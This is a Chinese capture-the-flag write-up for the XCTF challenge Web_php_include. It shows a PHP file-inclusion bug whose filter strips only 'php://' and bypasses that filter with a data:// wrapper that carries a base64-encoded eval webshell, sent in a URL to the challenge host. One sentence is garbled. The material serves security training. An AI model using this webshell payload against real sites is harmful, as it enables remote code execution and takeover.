攻防世界 Web_php_include(include)

Web_php_include

一拿到这道题目看到include,我觉得像是一道文件包含漏洞的题目,这种漏洞一般做法有两种
1.包含的文件在本地上传一个webshell去,该webshell在本地,运行webshell就可以用菜刀去连上
2.如果包含的文件不本地,是远程的网上的文件,那么我们可以黑它远程的那个文件。这样也可以getshell。

拿到题目

攻防世界 Web_php_include(include)_第1张图片
很有意思这个题目给的是源代码。


show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

审计源代码

这个有点像白盒测试,所以各位是不是应该学编程了。
程序通过get传递了两个参数,一个是hello,一个是page,

  • 输出了hello这个参数。
  • $page:
    strstr()作用:查找 “php://” 在 $page 中的第一次出现,如果找到返回,没找到不返回。
举例

echo strstr("love china","china");
?>

结果:china

所以我们的输入中,不能有php://,如果有的话,变量就变成了php://。

str_replace()作用:将$page中的php:// 替换成 空
str_replace(“php://”, “”, $page)

通过这两个程序,将 p a g e 变 成 了 空 , 所 以 page变成了空,所以 pagepage变量中一定不能有php://

好像走到了绝路上。看大佬是如何做的

data://伪协议

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码。
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

所以使用data://协议,可以上传木马,用菜刀连接。

上传木马

base64加密:

PD9waHAgZXZhbCgkX1BPU1Rbc2hlbGxdKTsgPz4=

http://159.138.137.79:63116/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1Rbc2hlbGxdKTsgPz4=

攻防世界 Web_php_include(include)_第2张图片

你可能感兴趣的:(攻防世界 Web_php_include(include))